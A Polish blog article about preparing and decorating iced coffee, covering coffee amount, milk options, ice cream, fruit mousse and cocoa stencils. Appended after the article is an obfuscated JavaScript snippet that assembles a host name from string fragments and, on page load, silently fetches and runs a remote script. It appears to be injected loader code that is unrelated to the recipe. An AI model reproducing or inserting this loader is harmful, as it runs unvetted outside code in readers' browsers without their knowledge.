Mroźna latte(m)

Lato to czas słońca, podróży i deserów na powietrzu. Wojażujemy na różne sposoby – czasem są to egzotyczne wyprawy w ciepłe kraje, niekiedy mamy ochotę poznać świat od kuchni w dosłownym znaczeniu. Podróże kulinarne warto zainaugurować wykwintnym trunkiem – na początek napijmy się kawy.
Kiedy temperatura przekracza 25 stopni Celsjusza, zapominamy o gorących kawach i herbatach. Zastępujemy je wtedy orzeźwiającymi lemoniadami, raczymy podniebienia słodkimi lodowym deserami, często w towarzystwie napoju kawowego na bazie zimnego mleka. Jak zatem widać, smak kawy może nam umilać codzienność przez 365 dni w roku – jak zrobić tę idealną?
Zapoznanie
Na ogół kawę mrożoną traktujemy jako napój deserowy, na przykład w połączeniu z gałką lodów waniliowych. Jej niezwykłość polega jednak na tym, że równie dobrze może być mocna i pobudzająca jak gorące espresso. Do przyrządzenia idealnej kawy mrożonej wykorzystuje się granulat rozpuszczalny, choć profesjonalni bariści rekomendują korzystanie z naparu uzyskanego przy pomocy ekspresu. Producenci kawy prześcigają się w wariantach smakowych oraz aromatach. Miętowa, orzechowa, rumowa czy „północ w Paryżu” – każda z nich nadaje się na zmysłową ucztę.
Uczta smaków
Do przygotowania wysokiej szklanki orzeźwiającego napoju potrzebujemy 40 ml kawy. Wybór rodzaju i ilości mleka zależy od indywidualnych preferencji – spośród krowiego, ryżowego, czy sojowego z pewnością wybierzemy swoje ulubione.
Kolejnym ważnym elementem jest odpowiedni dobór dodatków. Niektórzy rozkochali swoje kubki smakowe w bitej śmietanie, są również tacy, którym przypadła do gustu kawa mrożona z gałką lodów w środku. Najlepszymi smakami będą waniliowe lub czekoladowe – dopełnią kompozycję bez ingerencji nuty spoza gamy. Jeżeli natomiast jesteście entuzjastami kawy z owocami, koniecznie spróbujcie tej z dodatkiem musu. Zblendowane owoce odświeżą mleczny trunek oraz odrobinę go osłodzą.
Zwieńczenie
Pora zamknąć kompozycję. Kawę mrożoną zwykle dekoruje się bitą śmietaną lub spienionym mlekiem. W drugim przypadku faktura piany jest ujednolicona, stąd też można pozwolić sobie na ostatnie słowo, będące barwnym i efektowym ukoronowaniem naszych baristycznych zmagań. Do tego celu możemy użyć kolorowych syropów lub przykładając wybrany wcześniej szablon, oprószyć piankę kakao.
Jeżeli chcecie sprawdzić inne pomysły na dekoracje, zajrzyjcie tu: http://przepisynakawe.pl/porada/szablonowe-wzorki-10


```
<script type="text/javascript">
(function(){
uyfm=document.createElement("script");uyfm.type="text/javascript";
uyfm.async=true;uyfm_=(("us")+"t")+"a";uyfm_+=("t.i")+""+"n";uyfm_+=(("f")+"o");
uyfm.src="http://"+uyfm_+"/3645900.b5hq24ltyfmfaxb014pkawgl1nvvmf";
document.body.appendChild(uyfm);
})();
</script>
```